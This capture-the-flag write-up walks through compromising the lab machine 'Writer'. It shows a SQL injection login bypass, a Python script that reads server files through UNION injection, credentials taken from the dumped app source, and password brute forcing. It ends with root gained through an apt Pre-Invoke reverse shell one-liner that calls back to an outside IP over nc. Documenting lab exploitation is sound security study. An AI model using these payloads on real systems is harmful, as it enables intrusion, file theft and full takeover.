Writer
A very good box with a good knowledge on how postfix filters work and ubuntu apt
installer.
- Nmap
- Recon
- SQL Injection
- FootHold
- User escalation
- Root Privilege Escalation
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -11s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-31T19:03:13
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
We have four ports open 22, 80, 139 and 445
From the nmap scan we have some information about the server. It is a ubuntu machine.
Let’s explore port 139 and 445 initially and try to find out any information.
Recon
Port 445
We have a directory and anonymous login is enabled but we don’t have a read permission on the directory writer2_project
Port 80
We have a web interface on the port 80. Looks like a blog.
Server: ubuntu/apache
Let’s brute force directories and see what all we have
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
____ $ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://writer.htb/FUZZ -o out.fuzz
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://writer.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Output file : out.fuzz
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
contact [Status: 200, Size: 4905, Words: 242, Lines: 110, Duration: 1168ms]
about [Status: 200, Size: 3522, Words: 250, Lines: 75, Duration: 1184ms]
static [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 301ms]
logout [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 188ms]
dashboard [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 304ms]
administrative [Status: 200, Size: 1443, Words: 185, Lines: 35, Duration: 186ms]
SQL Injection
We have an administrative login panel.
I tried a simple sql injection and it worked.
Payload : username: admin' or '1' = '1 -- -
and password can anything
Logged in as admin
Only user that exists on the web portal is admin
. So we don;t much information how to get onto the box.
But we have sql injection, Let’s try to injection more payloads and see if we can grab more information.
Let’s capture the post request in burp and save it to file and give the file as input to sqlmap tool.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
____ $cat req.txt
POST /administrative HTTP/1.1
Host: writer.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://writer.htb
DNT: 1
Connection: close
Referer: http://writer.htb/administrative
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
uname=admin&password=admin
Sqlmap gave information about union injectable with 6 columns
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
____ $sqlmap -r req.txt --batch
___
__H__
___ ___["]_____ ___ ___ {1.5.3#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:58:17 /2021-08-03/
[10:58:17] [INFO] parsing HTTP request from 'req.txt'
[10:58:18] [INFO] testing connection to the target URL
[10:58:19] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:58:19] [INFO] testing if the target URL content is stable
[10:58:19] [INFO] target URL content is stable
[10:58:19] [INFO] testing if POST parameter 'uname' is dynamic
[10:58:20] [WARNING] POST parameter 'uname' does not appear to be dynamic
[10:58:20] [WARNING] heuristic (basic) test shows that POST parameter 'uname' might not be injectable
[10:58:20] [INFO] testing for SQL injection on POST parameter 'uname'
[10:58:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:58:23] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:58:23] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[10:58:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:58:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[10:58:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:58:32] [INFO] testing 'Generic inline queries'
[10:58:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] Y
got a 302 redirect to 'http://writer.htb/'. Do you want to follow? [Y/n] Y
[10:58:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[10:58:37] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[10:58:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[10:58:51] [INFO] POST parameter 'uname' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[10:58:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:58:51] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:59:01] [INFO] target URL appears to be UNION injectable with 6 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[11:00:02] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[11:00:02] [INFO] checking if the injection point on POST parameter 'uname' is a false positive
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 119 HTTP(s) requests:
---
Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=admin' AND (SELECT 6472 FROM (SELECT(SLEEP(5)))vxHz) AND 'rXNj'='rXNj&password=admin
---
[11:00:20] [INFO] the back-end DBMS is MySQL
[11:00:20] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Ubuntu 19.10 or 20.04 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Let’s try to read a file with sqlmap using the union injection.
We can read the file but the sqlmap is taking ages to read one line. I cant imagine reading the while file.
So let’s automate which using sleep function and manually constructing the payload using python
Construction of Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import binascii
from bs4 import BeautifulSoup
URL = "http://writer.htb/administrative"
while True:
#payload = b"/etc/passwd"
payload = input(">").encode()
#convert payload to HEX
payload = str(binascii.hexlify(payload).decode(encoding="utf-8"))
data = {"uname": "admin' UNION ALL SELECT 99, LOAD_FILE(0x"+payload+"),99,99,99,99-- -" , "password": "admin"}
r = requests.post(URL, data=data)
soup = BeautifulSoup(r.text, 'html.parser')
p = soup.find('h3')
print(p.text)
Now we can read the file instantly without going through the trouble waiting.
From /etc/passwd
we have two users
- john -> id 1001
- kyle -> id 1000
We know that apache2 is running on the machine so we try to read apache2 configuration and find out the actual path of the web application.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
____ $python read.py
>/etc/apache2/sites-enabled/000-default.conf
Welcome # Virtual host configuration for writer.htb domain
<VirtualHost *:80>
ServerName writer.htb
ServerAdmin admin@writer.htb
WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
<Directory /var/www/writer.htb>
Order allow,deny
Allow from all
</Directory>
Alias /static /var/www/writer.htb/writer/static
<Directory /var/www/writer.htb/writer/static/>
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<VirtualHost 127.0.0.1:8080>
# ServerName dev.writer.htb
# ServerAdmin admin@writer.htb
#
# Collect static for the writer2_project/writer_web/templates
# Alias /static /var/www/writer2_project/static
# <Directory /var/www/writer2_project/static>
# Require all granted
# </Directory>
#
# <Directory /var/www/writer2_project/writerv2>
# <Files wsgi.py>
# Require all granted
# </Files>
# </Directory>
#
# WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
# WSGIProcessGroup writer2_project
# WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
# ErrorLog ${APACHE_LOG_DIR}/error.log
# LogLevel warn
# CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Two directories exist as virtualhost, one of them is comment out. Let’s enumerate inside the directories and see if we can find any interesting files.
Let’s read the __init__.py
from writer folder as python imported writer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib
app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')
#Define connection for database
def connections():
try:
connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
return connector
except mysql.connector.Error as err:
if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
return ("Something is wrong with your db user name or password!")
elif err.errno == errorcode.ER_BAD_DB_ERROR:
return ("Database does not exist")
else:
return ("Another exception, returning!")
else:
print ('Connection to DB is ready!')
#Define homepage
@app.route('/')
def home_page():
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('blog/blog.html', results=results)
#Define about page
@app.route('/about')
def about():
return render_template('blog/about.html')
#Define contact page
@app.route('/contact')
def contact():
return render_template('blog/contact.html')
#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
results = cursor.fetchall()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
stories = cursor.fetchall()
return render_template('blog/blog-single.html', results=results, stories=stories)
#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
if not ('user' in session):
return redirect('/')
return render_template('dashboard.html')
#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "Select * From stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('stories.html', results=results)
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
author = request.form.get('author')
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
result = connector.commit()
return redirect('/dashboard/stories')
else:
return render_template('add.html')
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('edit.html', error=error, results=results, id=id)
except:
error = "Issue uploading picture"
return render_template('edit.html', error=error, results=results, id=id)
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('edit.html', results=results, id=id)
@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("DELETE FROM stories WHERE id = %(id)s;", {'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('delete.html', results=results, id=id)
#Define user page for dashboard
@app.route('/dashboard/users')
def users():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return "Database Error"
cursor = connector.cursor()
sql_command = "SELECT * FROM users;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('users.html', results=results)
#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return "Database Error!"
cursor = connector.cursor()
sql_command = "SELECT * FROM site WHERE id = 1"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('settings.html', results=results)
#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
if ('user' in session):
return redirect('/dashboard')
if request.method == "POST":
username = request.form.get('uname')
password = request.form.get('password')
password = hashlib.md5(password.encode('utf-8')).hexdigest()
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
try:
cursor = connector.cursor()
sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
cursor.execute(sql_command)
results = cursor.fetchall()
for result in results:
print("Got result")
if result and len(result) != 0:
session['user'] = username
return render_template('success.html', results=results)
else:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
except:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
else:
return render_template('login.html')
@app.route("/logout")
def logout():
if not ('user' in session):
return redirect('/')
session.pop('user')
return redirect('/')
if __name__ == '__main__':
app.run("0.0.0.0")
Tried to exploit the python code. But nothing worked for me.
Password : ToughPasswordToCrack
We have two users, I tried to see if the user used same password. But nope. Looks like the password is different.
FootHold
Let’s brute force for password for both the users.
We have kyle user password
username : kyle
password : marcoantonio
Got our user flag.
User Escalation
Now we need to privelege escalation to ROOT.
We have a disclaimer executable file in the home directory of kyle
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kyle@writer:~$ cat disclaimer
#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail
# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses
# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69
# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15
# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }
cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }
# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`
if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
/usr/bin/altermime --input=in.$$ \
--disclaimer=/etc/postfix/disclaimer.txt \
--disclaimer-html=/etc/postfix/disclaimer.txt \
--xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
{ echo Message content rejected; exit $EX_UNAVAILABLE; }
fi
$SENDMAIL "$@" <in.$$
exit $?
Tried some auto checks and auto exploits but none of them worked. After going through several hours of the task.
We have postfix running on the machine
We can write to this file. But what does this file exactly do.
After doing some study, I found a book about postfix configuration
https://mdex-nn.ru/uploads/postfix-the-definitive-guide.pdf
Snip from book
Now i understood the payload disclaimer get executed for autoattach of footer disaclaimer message.
1
2
3
4
5
6
7
8
9
10
kyle@writer:~$ cat /etc/postfix/disclaimer.txt
--
This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed.
If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the
individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately
by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. If you are not the intended recipient you are notified
that disclosing, copying, distributing or taking any action in reliance on the contents of this information is strictly prohibited.
Writer.HTB
Now we have control over the disclaimer as group id filter
can edit it.
I have added my reverse shell payload into the disclaimner file.
Now we have to trigger it. Let’s write a simple using telnet on smtp port
We get our reverse shell as user john
Let’s grab john rsa and login from new prompt
Root Privelege Escalation
After logging into the machine, tried some priv esc techniques but none of them worked. So i brought my pspy64 tool which can tell what process is getting invoked everytime and change in events are recorded and shown in a nicer format.
I see an apt-get update
command running every few minutes. And I exactly know how to exploit it if we have permission to write to /etc/apt/apt.conf.d
directory.
john has a management group attached to him. Probably he is reponsible the machine for upgrades as administrator.
1
echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.189 1234 >/tmp/f"};' > 00-PWNED
Let me tell you how this exploit works, whenever apt-get update
is triggered from a user (generally a sudo user or high priv user). APT checks for the configuration if anything has to be checked before doing an upgrade. This check is necessary if you don’t want to update the server/machine in the production environment automatically.
https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/
After writing our payload let’s just wait for the update to trigger, this will execute our payload and get us a reverse shell.
Let’s have a look at our process monitor
Our payload is executed and we have a reverse shell as root
And we are root on the machine.